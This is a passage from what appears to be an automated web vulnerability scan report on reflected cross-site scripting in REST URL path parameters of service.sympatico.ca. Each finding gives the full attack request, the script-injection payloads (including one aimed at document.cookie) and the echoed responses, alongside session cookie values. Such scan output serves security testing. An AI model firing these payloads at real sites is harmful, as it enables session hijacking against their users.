Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:44 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.blockUI.js7f5c6"><script>alert(1)</script>fc5daf893df" />
...[SNIP]...

2.271. https://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd1c6"><script>alert(1)</script>f3be7fbda5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jscd1c6"><script>alert(1)</script>f3be7fbda5e/jquery.cfjs.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:44 GMT
Connection: close
Set-Cookie: SMSESSION=QbB1yK9K4TsoVb865T9ffeV0zv+n4QQ/XXO4JOYZWONG2FZjYt5g7BSX50onNbY43FernakjYyiY7ttvjhq4MHtz3WINXuiskdICztjDbsukVeNCC144ybQX/gAOmdEaMlqHrP1oUboHYxGDFYGrW3+EWXPsYA77s0seA3xtPt1C714HxfiTyHjHWMu53himaPoY7+9YpTA3lwbz5ws6bnOSJVQuRgunImIe1fcznOA964M+DEpo7o9n13JfiWLtWeZeLq9+GtiN+/J7OIlkoqLglwolGj2L1TYv8eob28/qd94qrh3uFw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jscd1c6"><script>alert(1)</script>f3be7fbda5e/jquery.cfjs.js" />
...[SNIP]...

2.272. https://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69474"><script>alert(1)</script>4f2607feb7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cfjs.js69474"><script>alert(1)</script>4f2607feb7a HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:49 GMT
Connection: close
Set-Cookie: SMSESSION=zcJoF7EdTyHvKzGyhm2CNnJtxGbnz1UO79m7em6BbtyIRKemmASOdbVtDgn1A730GpPuIdnJPZIFfWcgfphXdEPSfmp6AjRrs1cJa+D8ORVnZSvhPkt1E9if5O3VLy6/rN1ujJYVT/U8ooV24kiayTE+2TRjE4gzCigfyeFdjJRDzSC8Rleh47ZKjvOCLcQ1hQGSqX4NMFch6Lg8a4D58Ma7ICyKdaxl0dVBWtXTzlTTDLE3lv9my0fLyqNQMXXrm3E5ktqy7cCa4xZt5inH9CL+Xz8dJK1L/3npb0GXdnLqedXv7sdNUg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:50 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
dden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.cfjs.js69474"><script>alert(1)</script>4f2607feb7a" />
...[SNIP]...

2.273. https://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6592f"><script>alert(1)</script>f3dc8754768 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js6592f"><script>alert(1)</script>f3dc8754768/jquery.clickorenter.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:28 GMT
Connection: close
Set-Cookie: SMSESSION=eN6uJKu3rD63jwcrrtygSwTFRY17UCsge+7jRt0MezLFzEZ7rioe7jeCIvGeX/GXL4FISjBJ5Tvo8kbvs7aaiJ5oVjJt9ZgpbPVN8W9nvkMcK2OLwwwZ+bjFMTMnMjreXRgcucJbQaXcyy7EjJ9RBedfTeunM2S4+t4raZyPyI/nBqhNL1MnK650IEkmBVoL66JiZ/PLDusVjandbOlG6nbe5rWuUZelsMqE6qTNOBH9/wS3bfSztT5yBRXYNutYG06MEA9LgokOj4Znx+e8yAT7kt2A4DYbEgfvxxSFNeoKO1xfqiOGQw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
